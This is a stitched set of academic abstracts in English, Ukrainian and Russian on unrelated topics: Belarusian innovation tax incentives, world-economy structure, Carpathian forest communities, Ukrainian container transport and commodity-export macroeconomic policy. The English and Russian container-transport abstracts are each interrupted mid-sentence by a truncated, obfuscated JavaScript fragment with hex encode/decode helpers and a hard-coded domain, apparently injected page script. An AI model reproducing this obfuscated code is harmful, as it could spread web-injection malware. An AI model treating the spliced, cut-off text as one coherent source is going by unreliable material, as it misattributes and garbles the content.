inventions and useful models, at a rate of the actual expenses with coefficient 2 in the initial cost of a depreciable non-material asset. At the same time, it is offered to establish useful service of such objects of intangible assets no more than one year.For rendering targeted state support to subjects of small innovative business in the form of tax benefits, the establishment of the status of "the small innovative company" for small firms is offered, including newly created. Such status has to be provided for no more than for five years. It is necessary to define accurately the criteria of "the small innovative company", considering volumes of costs of research and development. For again created companies, which don't have financial history, such status can be awarded following the results of external audit.The proposed measures are designed to improve cash flows of the innovative companies and to lower their expenses.The formation of the concept of tax incentives of innovative activity and the development of methodical approaches for assessment of economic efficiency of tax methods of stimulation of innovative activity is necessary at the moment in Belarus.

Геосистеми такого рівня як світове господарство є надзвичайно складними, оскільки являють собою взаємопов'язані структури ланцюгів прямого і зворотного зв'язку. Складним системам властиві специфічні (інколи неочікувані та незрозумілі) реакції – в цьому полягає основна причина невдач і навіть провалів різноманітних спроб поліпшити «поведінку» конк¬ретної геосистеми. Ця обставина робить географічні прогнози дуже складним завданням, але незважаючи на це автор статті намагається зафіксувати провідні тренди галузевої і територіальної структури сучасного світового господарства. Глобальна інформатизація суспільства є магістральним напрямом подальшого розвитку людської цивілізації. Провідними ознаками інформаційного суспільства є радикальне прискорення НТР, падіння ролі матеріального виробництва, пріоритет виробництва послуг над виробництвом товарів, провідна роль інформації у всіх сферах життя суспільства, перевага класу професійних фахівців і техніків, високий рівень організації управління, формування принципово нових технологічних укладів. ; Geosystems of such a level as the world economy are extremely complex, since they represent interconnected structures of direct and reverse nature. Complex systems are characterized by specific (sometimes unexpected and obscure) reactions, and this is the main reason for failures of various attempts to improve the "behavior" of a particular geosystem. This circumstance makes geographical forecasts a very difficult task, but despite this the author of the article tries to capture the leading trends of the sectoral and territorial structure of the modern world economy. In the world economy, the stage (evolutionary) and cyclic time may be distinguished. The world economy in its evolution passed a number of spatial-temporal stages of geographical selection, each of which corresponded to its "center" and its "periphery". The center forms the periphery around itself, attracts the main financial and trading flows, forms a holistic economic space. Then one center changes to another one, thus creating a spatial- temporal trajectory of the formation of a world economy. The modern spatial structure of the world economy is schematically described in a functional sense as "the center – semi-periphery - periphery", in the morphological as "North-South". The morphological model should not be opposed to the functional one, because the "center" is the North, and the "periphery" is the South. An important stabilizing role in the global economy is played by the "semi-periphery". The main stabilization agent is the emerging industrialized countries. The labor force of the highly developed countries of the "center" of the world economy is occupied mainly by informational activity. They create new technologies and produce new knowledge-intensive types of goods. In exchange for services and technology, they receive consumer goods and raw materials manufactured in peripheries and semi-peripheries at relatively low prices. Thus, the world economic system is formed, which is based on new principles of the international division of labor, new living standards and production resources. The level of socio-economic development of countries is determined not so much by natural resources and geographical conditions, but by the innovative activity and the level of usage of scientific and technical achievements in one or another sector of the economy. Nowadays the scientific-technical and intellectual potential has become the most important resource. Countries that have such a potential go to leading positions in the world economy, regardless of the availability or absence of other types of resources. The scientific and technological revolution (STR) is a fundamental qualitative transformation of productive forces, in which science becomes a direct productive force. As a result of the STR there are radical changes in the sectoral and territorial structures of the world economy. Rapid and ambiguous changes, provoked by the violent growth of technological and social progress, cause in society a so-called futureshock, which is a kind of psychological reaction to the events taking place in the modern world. The main features of the STR nowadays are universality and comprehensiveness, constant acceleration, radical change in the role of man in production processes, close connections with military production, etc. The main directions of improvement of production during STR are electronization, complex automation, accelerated development of nuclear energy, production of new materials, the use of biotechnology and cosmization. The main trend in changing the sectoral structure of the world economy is the transition from a high share in the gross domestic product (GDP) of agriculture to increasing the share of mining and manufacturing industries with technically simple production; then to capital and materialintensive industries, and in the future to high-tech industries and services. In the sectoral structure of the manufacturing industry there are changes in favor of sectors of the "avantgarde triplet", in the structure of agriculture in favor of cattle farming, among service industries the highest growth is in the information services sector. The change of "leaders" among factors ofplacement ofproduction in the world economy is as follows: "natural resource transport territorial concentration (agglomeration) ecological". Over the past decades, in highly developed post-industrial countries, the regular structure of the placement of individual industries has become increasingly important in the territorial structure of the economy.

The essence of the concept of "quality of life" and "well-being" in terms of ecological economics theory approach discussed. In particular attention is paid to the importance of forest ecosystems for well-being of forest dependent communities in mountain areas. Well-being in forest-dependent communities has long been discussed in the context of community stability and later community sustainability, a term that includes the more general notion of forest community well-being. This includes not only economic indicators (i.e., per capita income, employment) but environmental quality and socio-cultural indicators that characterize community well-being. Based on the analysis of scientific publications and studies in the Ukrainian Carpathians a close relationship estimated between the level of communities' well-being and value of the flows of forest ecosystem services. The results of the study show that in a broad sense, economic, environmental, social, cultural and aesthetic functions of forests contribute considerably to the well-being of forest-depended communities' in the mountain areas. Different approaches to assess the quality of life and well-being of communities that used by international organizations and national governments of various countries at national and regional levels have been analyzed. It is proposed to use integral indicators for accessing human well-being at sectoral level and at different levels of governance (from local to national). The lack of forest ecosystem services assessment procedures, mechanisms of payments for ecosystem services provided by forests, and the mechanism of including these services into the planning and implementation of forest management measure considered as a problem of current system of forest management system. Forest-dependent and local communities are important stakeholders and in many different ways they can make essential contributions to the implementation of sustainable forest management strategies. At the same time, these stakeholders are also challenged with limited financial resources. Whilst ensuring sustained sources of financing for communities thus appears as an obvious necessity, it also comes with a number of challenges. In order to efficiently use forest resources and increasing level of the well-being of local forest dependent community there are needed to have indicators that could describe the level of the well- being. The set of such indicators can serve for forest management planning and decision-making towards sustainable development of mountain forest territories and communities. ; Проанализирована сущность понятий «качество жизни» и «благосостояние» с точки зрения подходов эколого-экономической теории. Особое внимание обращено на значение лесных экосистем для обеспечения благосостояния лесозависимых общин горных территорий. На основе анализа научных публикаций и собственных исследований выявлена тесная взаимосвязь между уровнем благосостояния общин и потоком услуг лесных экосистем. Результаты исследования показывают, что экономические, экологические, социальные, культурные и эстетические функции лесов способствуют обеспечению благосостояния горных лесозависимых общин в Украинских Карпатах. Исследованы подходы к оценке качества жизни и благосостояния общин, используемые международными организациями, а также правительствами разных стран на местном, региональном и государственном уровнях. К актуальным проблемам лесного хозяйства отнесено отсутствие процедур оценки и механизма платы за услуги экосистем, предоставляемых лесами и механизма учета этих услуг при планировании и выполнении лесохозяйственных мероприятий, а также отсутствие интегральных показателей оценки уровня качества жизни и благосостояния населения высоколесных горных территорий. Предложено использовать интегральные показатели благополучия населения на секторальном уровне и на различных уровнях управления (от местного к национальному). Отсутствие процедур оценки услуг экосистем леса, механизма платежей за экосистемные услуги, обеспечиваемые лесами, механизма вовлечения этих услуг в планирование и осуществление лесохозяйственных мероприятий рассмотрены как проблемы существующей системы лесоуправления. Лесозависимые общины являются важными заинтересованными сторонами в лесном секторе и различными способами могут внести важный вклад в обеспечение устойчивого лесопользования. В то же время заинтересованные стороны сталкиваются с ограниченными финансовыми возможностями в достижении целей устойчивого лесопользования. Для рационального использования лесных ресурсов и повышения уровня благосостояния местных лесозависимых общин необходимо иметь показатели, которые могли бы быть эффективными инструментами в процессах принятия решения на всех уровнях. ; Проаналізовано сутність понять «якість життя» та «добробут» з погляду підходу еколого-економічної теорії. Особливу увагу звернено на значення лісових екосистем для забезпечення добробуту лісозалежних громад гірських територій. На основі аналізу наукових публікацій та власних досліджень виявлено тісний взаємозв'язок між рівнем добробуту громад та потоком послуг лісових екосистем. Досліджено підходи для оцінювання якості життя та добробуту громад, що використовують міжнародні організації, а також уряди різних країн на місцевому, регіональному та державному рівнях. До актуальних проблем лісового господарства віднесено відсутність процедур оцінювання і механізму плати за послуги екосистем, що надаються лісами, та механізму врахування цих послуг під час планування і виконання лісогосподарських заходів. Доведено, що добробут лісозалежних громад є важливим чинником, що може впливати на сталий розвиток лісового сектору, тому актуальним завданням є розроблення індикаторів добробуту та якості життя громад.

Goal. The signing of an association agreement between Ukraine and the European Union requires that the first comprehensive development in all fields and meet the high European standards. One important area is the development of the transport system of the country as a whole and for individual modes of transport. The favorable geographical position of Ukraine, its position as a transit country between east and west, and the rapid development of container transport requires appropriate measures to keep the achieved position in the container shipping market and further increases in freight flows. The aim of the article is the analysis of the container transport system, determine the prospects for further development, the establishment of problem areas and suggest ways to address them. Statement of the basic material. The volume of container traffic around the world in recent decades shows a stable growth trend, which slightly affected even such events as the global financial crisis of 2008. In the past five years, this growth is mainly due to the active development of the economies of China and other countries in Southeast Asia, as well as because of the outsourcing of production in the same region. In this regard, many countries are increasingly focusing on building a reliable transport bridge between East and West, including the development of container transport system. Ukraine is one of the leading positions in the processing of container traffic in the Black Sea region, but for various reasons in recent years the volume of its decline. To remedy this situation it is necessary improvement of the whole spectrum of operations, the organization of container traffic flow, which in turn requires research to identify issues and develop solutions. At the same time attention should be paid to the development of railway container transportation, which, as the best European experience, have many advantages over the road and can significantly improve the competitiveness of Ukraine in the container market.// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "tstt.diit.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e ; Цель. Подписание соглашения об ассоциации между Украиной и Европейским Союзом требует от первой всестороннего развития по всем направлениям и соответствия высоким европейским стандартам. Одним из важных направлений является развитие транспортной системы страны, как в целом, так и по отдельным видам транспорта. Выгодное географическое положение Украины, ее позиция как государства-транзитера между востоком и западом и бурное развитие контейнерных перевозок требует соответствующих мер для удержания достигнутых позиций на рынке контейнерных перевозок и дальнейшего увеличения грузопотоков. Целью статьи является анализ системы контейнерных перевозок, определения перспектив дальнейшего развития, установления проблемных участков и предложение путей по их устранению. Изложение основного материала. Объем контейнерных перевозок по всему миру в течение последних десятилетий демонстрирует устойчивую тенденцию к росту, на которую незначительно повлияли даже такие события как мировой финансовый кризис 2008 года. В последние пять лет этот рост происходит в основном за счет активного развития экономики Китая и других стран Юго-Восточной Азии, а также из-за производственного аутсорсинг в этот же регион. В связи с этим многие страны уделяют повышенное внимание построению надежных транспортных мостов между востоком и западом, в том числе развития контейнерной транспортной системы. Украина занимает одну из передовых позиций по обработке контейнерного грузопотока в черноморском регионе, однако по ряду причин в последние годы объемы его уменьшаются. Для исправления этой ситуации необходимо усовершенствование всего спектра операций по организации движения контейнерного потока, что в свою очередь требует проведения исследований по выявлению проблемных вопросов и разработки путей их решения. При этом повышенное внимание следует уделять развитию железнодорожных контейнерных перевозок, которые, как показывает передовой европейский опыт, имеют много преимуществ перед автомобильными и способны значительно повысить конкурентоспособность Украины на рынке контейнерных перевозок.// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "tstt.diit.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e ; мета. Підписання угоди про асоціацію між Україною та Європейським Союзом вимагає від першої всебічного розвитку по всіх напрямках та відповідності високим європейським стандартам. Одним з важливих напрямків є розвиток транспортної системи країни, як в цілому, так і по окремих видах транспорту. Вигідне географічне положення України, її позиція як держави-транзитера між сходом та заходом та бурхливий розвиток контейнерних перевезень вимагає відповідних заходів для утримання досягнутих позицій на ринку контейнерних перевезень та подальшого збільшення вантажопотоків. Метою статті є аналіз стану системи контейнерних перевезень, визначення перспектив її подальшого розвитку, встановлення проблемних ділянок та пропозиція шляхів щодо їх усунення. Викладення основного матеріалу. Обсяг контейнерних перевезень по всьому світу протягом останніх десятирічь демонструє стійку тенденцію до зростання, на яку незначним чином вплинули навіть такі події як світова фінансова криза 2008 року. В останні п'ять років це зростання відбувається здебільшого за рахунок активного розвитку економіки Китаю та інших країн Південно-Східної Азії, а також через виробничий аутсорсінг до цього ж регіону. У зв'язку з цим багато країн приділяють підвищену увагу побудові надійних транспортних мостів між сходом та заходом, зокрема й розвитку контейнерної транспортної системи. Україна займає одну з передових позицій по обробці контейнерного вантажопотоку у Чорноморському регіоні, однак через ряд причин в останні роки обсяги його зменшуються. Для виправлення цієї ситуації необхідно удосконалення всього спектру операцій з організації руху контейнерного потоку, що в свою чергу вимагає проведення досліджень з виявлення проблемних питань та розробки шляхів їх вирішення. При цьому підвищену увагу слід приділяти розвитку залізничних контейнерних перевезень, які, як свідчить передовий європейський досвід, мають багато переваг перед автомобільними та здатні значно підвищити конкурентоспроможність України на ринку контейнерних перевезень.

The dissertation is devoted to research of macroeconomic policy transformation of the commodity exporting countries, which is considered as a basis for theoretical elaboration and development of methodological foundations of stabilization policy in lowincome commodity-rich countries, as well as technological sophistication of their production structure under globalization.The theoretical and applied dimensions of the globalization processes and the global economy developments have been studied, with a focus upon growing importance of commodity markets. Various aspects of theoretical and applied links between the openness and commodity exports have been analyzed.Important structural shifts in both global demand and supply of raw commodities have been identified. It has been established that the main challenge for commodityexporting countries is accommodation of the volatility (instability) of world commodity prices, especially under conditions of high openness to capital flows.The study developed a methodology for economic and statistical analysis of macroeconomic effects from world commodity price shocks for resource-dependent economies, which enabled to identify the nature of commodity price effects on the dynamics of income, investment, private consumption and inflation in both dimensions – levels and price volatility. The dualistic nature of the commodity boom has been identified, as higher world commodity prices stimulate economic growth of either exporting countries or the world economy as a whole, while volatility in price indices has a clear negative impact on majority of macroeconomic indicators, including investments.A set of instrumental tools for analysis of dominant trends and potential challenges for the world commodity market has been extended, with the phenomenon of financialisation being taken under scrutiny in several aspects: (i) the dependence of commodity prices on the US dollar exchange rate, which may be mistakenly perceived as impact of the stock market indices and interest rates; (ii) the neutrality of the stock prices in respect to the crude oil prices and (iii) a growing interdependence of price dynamics between individual commodity indices.The paper presents an analytical framework for the study of economic processes in commodity economies, which allows identification and systematization of the links between the dynamics of world commodity prices and economic situation of exporting countries in the presence of contradictory internal and external factors that used to be blamed for higher volatility of the world commodity prices, such as the nature of foreign direct investments, institutional problems, excessive optimism and reinvestment in the commodity sector, deepening of commodity market financing, external imbalances and the spread of populism.The analytical tools of research of several features of the commodity boom, as instability of expectations, asymmetry of short- and long-term economic growth effects, excessive external borrowing, institutional quality, and also possibility of non-inflationary short-lived overheating followed by a build-up in inflationary. Macroeconomic effects of increasing commodity price volatility combined with vulnerability to unstable short-term capital flows have been investigated. Such a combination implies a reduction in the equilibrium level of external borrowing as a major «safeguard» for chaotic balance-ofpayments reversals and measures aimed at higher domestic savings, which can finance sufficient investments and facilitate successful stabilization policy in low-income commodity-exporting countries.Using the theoretical framework of the AD-AS model with a «dependent» structure of demand and supply, instrumental tools for stabilisation policy analysis are elaborated. It made it possible to consider several distinct features of flexible exchange rate system in the commodity economy as a factor of maintaining internal and external equilibrium. Research methodology of the phenomenon of commodity currencies is expanded in several directions, accounting of disadvantages of the exchange rate undervaluation, necessity of price incentives for structural shifts between tradable and nontradable goods, and the impact of dollarization. Endogenization of the exchange rate as a factor behind stability of the commodity-exporting countries in the wake of increasing volatility of world commodity markets under inflation.The scenario analysis of inflation targeting in commodity economies is elaborated, which acknowledges the increased role of the exchange rate and foreign exchange reserves as factors of higher confidence in the economy and increase of private investments. Both factors make it possible to reduce the time lag between changes in monetary policy and inflation and envisages reduction of macroeconomic risks related to volatility of world commodity prices.A methodological approach for stabilization policy in a low-income commodity-rich economy is proposed, based on a coherent application of fiscal and monetary policy rules in the flexible exchange rates framework. For commodity exporters, viability of countercyclical fiscal policies has been confirmed as a factor in reducing interest rates, increasing both savings and investments, and improving current account balances. The expediency of an expanded monetary policy rule (taking into account the behaviour of world commodity prices) as a means of improving the effectiveness of a stabilization policy in a low-income commodity economy has been substantiated.Using the portfolio model with different returns on commodity and non-commodity sectors, the inability of automatic improvement in the structural proportions of the Ukraine's economy has been proved, provided its present level of structural proportions between the two sectors, commodity and non-commodity (technological), at below the equilibrium level. The expediency of structural shifts in favour of the non-commodity sector by strengthening of the exchange rate, attracting foreign direct investments and implementation of limited state intervention (infrastructure modernization, human resources' development) is explained. All abovementioned policy moves should alleviated dependence on the world commodity prices volatility, as well as increase the rate of longterm economic growth.On the basis of proposed index of structural changes, a methodology for the evaluation of systemic functional relationships of the Ukraine's economy, such as high index of economic complexity, inverse relationship between investments and volatility of commodity prices, but under conditions of the industrial sector resilience to the latter, neutrality of both inflation and private consumption in respect to price volatility), has been developed. In turn, it made it possible to conceptualize the dimensions of macroeconomic policy for transformation of the commodity-export model of Ukraine by an increase in budget revenues, responsible monetary policy, low inflation, gradual reduction of exchange rate undervaluation to 10-20%, freedom of entrepreneurship, tapping of foreign direct investments (including preferences for activities in the non-commodity sector), as well as accelerated harmonization of legislation in accordance with European standards.Theoretical and applied approaches for assessment of economic freedom as a means of improving structural proportions and stimulating the investment process in an economy with an excessive commodity sector (as in Ukraine) have been formulated in the paper. It enables to determine the guidelines for priority liberalization of the economic environment (freedom of investments, streamlining of government expenditures, freedom of entrepreneurship, protection of property rights), while at the same time avoiding the potential risks of rapid liberalization of the financial market and foreign trade.It has been empirically proved that Ukrainian export should be reoriented to EU countries, since increasing their share in domestic exports is accompanied by an acceleration of GDP dynamics and, importantly, increasing the share of non-commodity export relative to commodity export, that is, improving the quality structure of foreign trade. ; Дисертаційну роботу присвячено дослідженню процесів трансформації макроекономічної політики країн-експортерів сировинних ресурсів в умовах глобалізації й на цій основі – теоретичному обґрунтуванню та розробленню методологічних засад стабілізаційної політики в економіці зі сировинною орієнтацією й низьким рівнем доходу.Розкрито теоретичні та практичні виміри розвитку процесів глобалізації та формування глобальної економіки, з акцентуванням зростаючого впливу сировинних ринків. Досліджено проблеми теоретичних та методичних зв'язків між відкритістю економіки та сировинним експортом.Оцінено структурні зрушення у сфері глобального попиту та пропозиції сировинних товарів. Встановлено, що головним завданням для країн – сировинних експортерів є адаптація до волатильності (нестабільності) світових цін на сировину, тим більше в умовах відкритості для потоків капіталу.В дослідженні розроблено методологію економіко-статистичного аналізу макроекономічних ефектів від зміни світових цін на сировину для ресурсозалежних економік, яка дала можливість ідентифікувати характер впливу сировинних цін на динаміку доходу, інвестицій, приватного споживання та інфляцію в обох вимірах ‒ рівнів і волатильності цінових індексів. Доведено дуалістичну природу сировинного буму, який, по-перше, проявляється у стимулюванні економічного зростання країнекспортерів за умови підвищення світових цін на сировину, по-друге, в негативному впливі на економіку загалом і на інвестиційну динаміку зокрема, у зв'язку із волатильністю цінових індексів на глобальних товарних ринках.Удосконалено інструментарій аналізу викликів і суперечностей світового ринку сировинних товарів, що передбачає врахування феномену фінансизації (зокрема, виявлено залежність цін на сировину від обмінного курсу долара США, яка може помилково сприйматися як вплив чинників фондового ринку і процентної ставки; незалежність курсу акцій від цін на сиру нафту; взаємопідсилення цінової динаміки між окремими сировинними індексами).В роботі розкрито аналітичний апарат дослідження економічних процесів у сировинних економіках, що дає змогу ідентифікувати та систематизувати зв'язки між динамікою світових цін на сировину та економічною ситуацією країнекспортерів за умови суперечливих внутрішніх і зовнішніх чинників (характер прямих іноземних інвестицій, інституційні проблеми, надмірний оптимізм та переінвестування в сировинному секторі, прогресуюча фінансизація сировинних ринків, платіжні дисбаланси та поширення популізму) задля підвищення стійкості до волатильності світових сировинних цін.Удосконалено аналітичний апарат дослідження особливостей сировинного буму, що враховує нестабільність очікувань, асиметрію залежності від умов торгівлі коротко- і довгострокового економічного зростання, схильність до надмірних зовнішніх запозичень, якість інституційних чинників, а також можливості неінфляційного короткочасного «перегріву» економіки, який надалі зумовлює тривалу інфляційну інерцію.В роботі досліджено макроекономічні наслідки поєднання зростаючої волатильності сировинних цін з вразливістю до мінливості короткочасних потоків капіталу. Така ситуація передбачає зниження рівноважного рівня зовнішніх запозичень як головного «запобіжника» для хаотичних реверсів платіжного балансу та заходи щодо збільшення внутрішніх заощаджень, а це уможливлює надійне фінансування інвестицій та полегшує умови проведення стабілізаційної політики в країнах-експортерах сировинних ресурсів з низьким рівнем доходу.В дослідженні удосконалено інструментарій аналізу стабілізаційної політики під час сировинного циклу за рахунок розширення моделі AD-AS із «залежною» структурою сукупної пропозиції і сукупного попиту, завдяки чому можливо повніше враховувати особливості гнучкого курсоутворення в сировинній економіці як чинника підтримання рівноваги доходу і платіжного балансу.Розкрито методику дослідження феномену «сировинних» грошових одиниць, яка враховує недоліки тривалого підтримання заниженого обмінного курсу, потребу в цінових стимулах для зміни співвідношень між секторами внутрішньої і зовнішньої торгівлі та вплив доларизації економіки, маючи на меті ендогенізацію обмінного курсу як чинника стійкості економік країн-експортерів сировини до зростаючої волатильності світових сировинних ринків за умов політики таргетування інфляції.Обґрунтовано підхід до сценарного аналізу політики таргетування інфляції у сировинних економіках, що відрізняється визнанням підвищеної ролі обмінного курсу та валютних резервів як чинника зростання довіри до економіки та збільшення приватних інвестицій, що дає можливість скоротити часовий лаг між змінами в монетарній політиці та інфляцією і передбачає зниження макроекономічних ризиків, пов'язаних з нестабільністю світових цін на сировину.Запропоновано методичний підхід до стабілізаційної політики в сировинній економіці з низьким доходом, який ґрунтується на узгодженому використанні правил фіскальної і монетарної політики за умов гнучкого курсоутворення. Для країн-експортерів сировини підтверджено конструктивність антициклічної фіскальної політики як чинника зниження процентної ставки, збільшення заощаджень та інвестицій, а також поліпшення сальдо поточного рахунку. Обґрунтовано доречність розширеного правила монетарної політики (з урахуванням поведінки світових цін на сировину) як засобу підвищення ефективності стабілізаційної політики в сировинній економіці з низьким рівнем доходу.За допомогою портфельної моделі з різною дохідністю сировинного і несировинного секторів доведено неможливість автоматичного поліпшення якісної структури економіки України за умови перебування на нижчому від рівноважного рівні структурних пропорцій між обома секторами – сировинним і несировинним (технологічним). Обґрунтовано доцільність стимулювання структурних змін на користь несировинного сектора шляхом зміцнення грошової одиниці, залучення прямих іноземних інвестицій та обмеженого державного втручання (модернізація інфраструктури, розвиток людського капіталу), що уможливить не лише уникнути залежності від волатильності світових сировинних цін, але й підвищити довгостроковий темп економічного зростання.На підставі розрахованого індексу структурних змін розроблено методологію оцінки засадничих функціональних зв'язків, що враховує специфіку економіки України (обернена залежність інвестицій від волатильності світових цін на сировину, але за умови стійкості промислового сектора до цього чинника, незалежність інфляції і приватного споживання від цінової нестабільності), яка дала змогу концептуалізувати зміст макроекономічної політики для трансформації сировинно-експортної моделі економіки України шляхом збільшення надходжень до бюджету, проведення стримуючої монетарної політики та досягнення низької інфляції, поступового зменшення амплітуди заниження обмінного курсу гривні до 10-20%, свободи підприємницької діяльності, залучення прямих іноземних інвестицій (включно з наданням преференцій для діяльності у несировинному секторі), а також прискореної гармонізації законодавства відповідно до європейських норм.У роботі сформульовано науково-прикладні засади оцінки важливості економічної свободи як засобу поліпшення структурних пропорцій та стимулювання інвестиційного процесу в економіці з надмірним сировинним сектором (на зразок України), які дають можливість визначити напрями першочергової лібералізації економічного середовища (свобода інвестицій, впорядкування урядових видатків, свобода підприємницької діяльності, захист прав власності) й водночас уникнути потенційних ризиків від поспішних лібералізаційних заходів на фінансовому ринку та у зовнішній торгівлі.Емпірично доведено доцільність переорієнтації українського експорту на країни ЄС, адже збільшення їхньої частки у вітчизняному експорті супроводжується прискоренням динаміки ВВП і, що важливо, підвищує частку несировинного експорту порівняно зі сировинним, тобто покращує якісну структуру зовнішньої торгівлі.